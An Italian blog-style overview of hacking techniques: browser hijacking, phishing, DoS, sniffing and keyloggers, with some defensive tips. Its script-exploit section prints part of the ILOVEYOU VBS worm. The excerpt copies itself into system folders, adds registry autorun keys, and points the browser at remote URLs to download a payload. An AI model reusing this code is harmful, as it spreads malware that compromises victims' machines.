Tecniche Hacking

Hijacking

Il termine:

“hijacking in informatica è un termine spesso usato quando applicazioni dannose tentano di sfruttare e impadronirsi dell’ applicazione usata dall’ utente, un esempio noto è lo Spyware detto anche programma spia.”

hijacking mode

Browser Hijacking:

La tecnica riportata prende in considerazione come principale oggetto il nostro browser è lui che ci mette in contatto con il mondo delle pagine Web.

Questo tipo di Risorsa tenta in qualche modo di dirottare il vostro comando tramite delle modifiche che porterò più avanti nella pagina, proprio come spiegavo prima

la tecnica si basa sull’ appropriarsi della macchina e del software in questo caso del nostro browser esempio:

Software usato: Internet Explorer

ricerca dell’ utente [http://www.esempio.it], il sito contenente finestre Popup ci spedisce sulla pagina di un venditore di magliette e modifica a nostra insaputa ad esempio la pagina preinpostata da noi all’interno della configurazione della pagina web principale di internet explorer.

Non è facile ripristinare la sessione di internet explorer proprio perche vengono installate chiavi di registro e applicazioni per dirottare la navigazione.

Questi tipi di dirottamenti possono essere bloccati da programmi specializzati in più questi comportamenti anomali vengono suddivisi come Spyware o addirittura Trojan e vengono usati per garantire al sito, di cui non avevate voglia neanche di vedere, di guadagnare qualche soldo naturalmente in tasca al WebMaster.

B.H.O (Browser Helper OBJECT’S)

Sono praticamente quelle finestre fastidiose che compaiono durante la normale navigazione in internet, in questi casi non è il sito che visitate l’autore del drammatico episodio ma il nostro browser di cui l’ hijacker a preso il totale posesso.

Quindi se digiteremo il sito che vogliamo vedere il simpaticissimo B.H.O’s ci renderà la navigazione noiosa con le sue finestrelle del cazz…..

Sono praticamente delle plugin sotto forma di dll che al contrario di qualsiasi B.H.O ’s ad esempio Google Toolbar recano danno sia alla navigazione ma decisamente recano danno alla privacy dell’utente stesso, catturando indirizzi digitati e abitudini quotidiane.

Al fine possiamo dire che questi programmini vengono messi in rete per trovare le abitudini degli utenti dell’intera rete, tutto questo racchiude

una domanda:

-Strano solo questo fanno-???

Risposta:

Ebbene no, questi B.H.O’s essendo programmati in modo non del tutto corretto spesso definiscono l’instabilità del sistema operativo e se vi va bene rallentamenti della navigazione.

Phishing.

La parola pishing deriva da fishing che vuol dire “pescare”, che cosa possiamo fare con questa tecnica? cosa c’entra pescare, non sono mica un pesce!!!

Il maggior numero di utenti internet che usano una casella email sono soggetti molto spesso a fraudolenti messaggi di posta che possono colpire l’utente ad es.

Carissimo , paolo

la invitiamo a rifornirci delle sue credenziali Bancarie a seguito di un errore nel nostro archivio utenti.

saluti il direttore di bancaveneta.

Antonio La Marca

Adesso questo esempio non farebbe abboccare all’amo nessun utente perchè non curato nei dettagli,

ma alcune persone non sapenti del fatto dell’esistenza del Phishing darebberò al malintenzionato le proprie credenziali bancarie.

Naturalmente l’email falsa che viene spedita alla vittima viene curata nel minimo dettaglio per far pensare all’utente che è veramente la sua banca a contattarlo.

Il metodo per difendersi è quello di chiamare in questo caso direttamente la vostra banca chiedendogli ad esempio di controllare il vostro conto, in questo modo sapreste benissimo che l’ email che vi è arrivata è assolutamente un’ email falsa, mi raccomando non fate cazzate!!!.

Dos (Denial of Service) & DDos (Distributing denial of service)

Sezione di un DDos

IMMAGINE CHE RAPPRESENTA UN DDos.

Questi tipi di attacchi vengono eseguiti dai CRACKER per lo scopo di bloccare un servizio proprio come dice la parola Denial Of Service che significa appunto “negazione del servizio”.

La tecnica nasce da un bug che ricopre il protocollo TCP/IP inviando pacchetti di dati ad un’altra macchina, la macchina vittima ci dovrà rispondere.

Facciamo un esempio banale su come inviare dati e riceverli:

Sintassi: ping [-t] [-a] [-n conteggio] [-l dimensione] [-f] [-i durata]
[-v tiposervizio] [-r conteggio] [-s conteggio]
[[-j elencohost] | [-k elencohost]]
[-w timeout] elenco di destinazioni

Opzioni:
-t Effettua un ping sull’host specificato finché non vi
interrotto.
Per visualizzare le statistiche e continuare – digit
Ctrl-Inter;
Per interrompere – digitare Ctrl-C.
-a Risolve gli indirizzi in nomi host.
-n conteggio Numero di richieste di eco da inviare.
-l dimensione Invia dimensioni buffer.
-f Imposta il flag per la disattivazione della
frammentazione nel pacchetto.
-i durata Durata.
-v tiposervizio Tipologia di servizio.
-r conteggio Registra route per il conteggio dei punti di passagg
-s conteggio Timestamp per il conteggio dei punti di passaggio.
-j elencohost Instradamento libero lungo l’elenco host.
-k elencohost Instradamento vincolato lungo l’elenco host.
-w timeout Timeout in millisecondi per ogni risposta.

queste sono le opzioni del comando ping per eseguirlo digitare da CMD ping e immettere l’indirizzo ip che si vuole in corrispondenza del tipo di comando prescelto.

Possiamo dire che un tempo un classico ping con parametro -t poteva dare fastidio oggi questi piccoli comando non sono nocivi ma non è detta l’ultima!!!

Gli attacchi DoS si sono evoluti nel corso del tempo, da semplici attacchi, condotti da singoli PC, ad attacchi organizzati in modo distribuito da qui la parola DDoS, portati da migliaia di computer disseminati per tutta la rete, questa rete è una rete di bot.

Pensateci un attimo!!! migliaia di computer che eseguono assieme lo stesso comando allo stesso server incredibile no?.

Nella figura sopra possiamo vedere il CRACKER che possiede il controllo di vari computer sfruttandoli per lanciare un attacco Ddos.

Scripting-exploit

Il termine exploit significa sfruttamento, oggi è un termine molto usato, un exploit è praticamente lo sfruttamento di una falla nella programmazione del codice ospitante.

Gli Scripting-Exploit sono comunemente programmati ad esempio con HTML, ACTIVE X, JAVASCRIPT, WSH

possono consentire l’ avvio di virus malware ecc…. presenterò una porzione di codice da cui deriva il virus scritto in Vbs ” I LOVE YOU ” che naturalmente usa Vbs ma non si genera nelle pagine web.

NATURALMENTE NON POSSO INSERIRE L’INTERO CODICE PER MOTIVI DI SICUREZZA.

ECCO UNA PICCOLA PARTE DEL CODICE:

rem  barok -loveletter(vbe) <i hate go to school>
rem    by: spyder  /  ispyder@xxx.com  /  @GRxxx Group  /  Manila,Philippines
On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()

sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
end if
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
regruns()
html()
spreadtoemail()
listadriv()
end sub

sub regruns()
On Error Resume Next
Dim num,downread
regcreate
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"
regcreate
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL",dirwin&"\Win32DLL.vbs"
downread=""
downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory")
if (downread="") then
downread="c:\"
end if
if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
elseif num = 2 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
elseif num = 3 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"
elseif num = 4 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX .exe"
end if
end if
if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\StartPage","about:blank"
end if
end sub

Questo è una parte di codice di ‘ i love you ‘ che naturalmente veniva spedita per email.

1)Per non rischiare consiglio di controllare il proprio browser per assicurarsi che la funzione script vbs non sia abilitata. Se si consiglio vivamente di toglierla.

2)windos xp a abilitata la funzione di esecuzione di WSH “windows scripting host” molti virus programmati in vbs non possono essere avviati su macchine windows se la funzione è disattivata, ma naturalmente un virus fatto bene può fare quello che gli pare ma comunque sia è meglio disattivarla.

Sniffing:

schema sniffing

La tecnica dello sniffing che significa “sniffare”, termine molto intuitivo tra l’altro,viene spesso usata per estrapolare dati sensibili dai pacchetti intercettati.

l’attività di sniffing può essere portata a termine per due motivi:

1° Lo sniffing è un ottimo rimedio per analizzare il traffico in una rete di computer onde evitare problemi

all’ interno della stessa.

2° Lo sniffing può essere usato per prelevare dati sensibili.

Esitono appositi software che danno la possibilità di sniffare reti, uno secondo me dei più buoni è WIRESHARK

Wireshark

il link al download del programma (GPL LICENSE)

Download wireshark

Disponibile per linux/Winxp/OS X e altri

Richiede Wincap.

Tastiera

Keylogger:

Per scoprire cosa scrive la nostra vittima durante il giorno o per avere le credenziali d’accesso al conto

dobbiamo installare nel computer remoto un programmino.

I cosidetti Keylogger sono, e agiscono come pappagalli della tastiera, cioè copiano e inviano alla persona interessata tutto quello che si digita e che comprende un carattere ASCII(“American Standard Code for Information Interchange”, cioe’ “Standard americano per lo scambio di informazioni”.

Naturalmente il sistema operativo converte quello che digitiamo da tastiera.

TableCode ASCII:

American Standard Code For Information Interchange

ExtendedTableASCII:

EXTENDEDASCII

EXTENDEDASCIICODE

Le informazioni e le raccomandazioni  fornite dal Sito o via e-mail sono a scopo informativo. 

Lascia un commento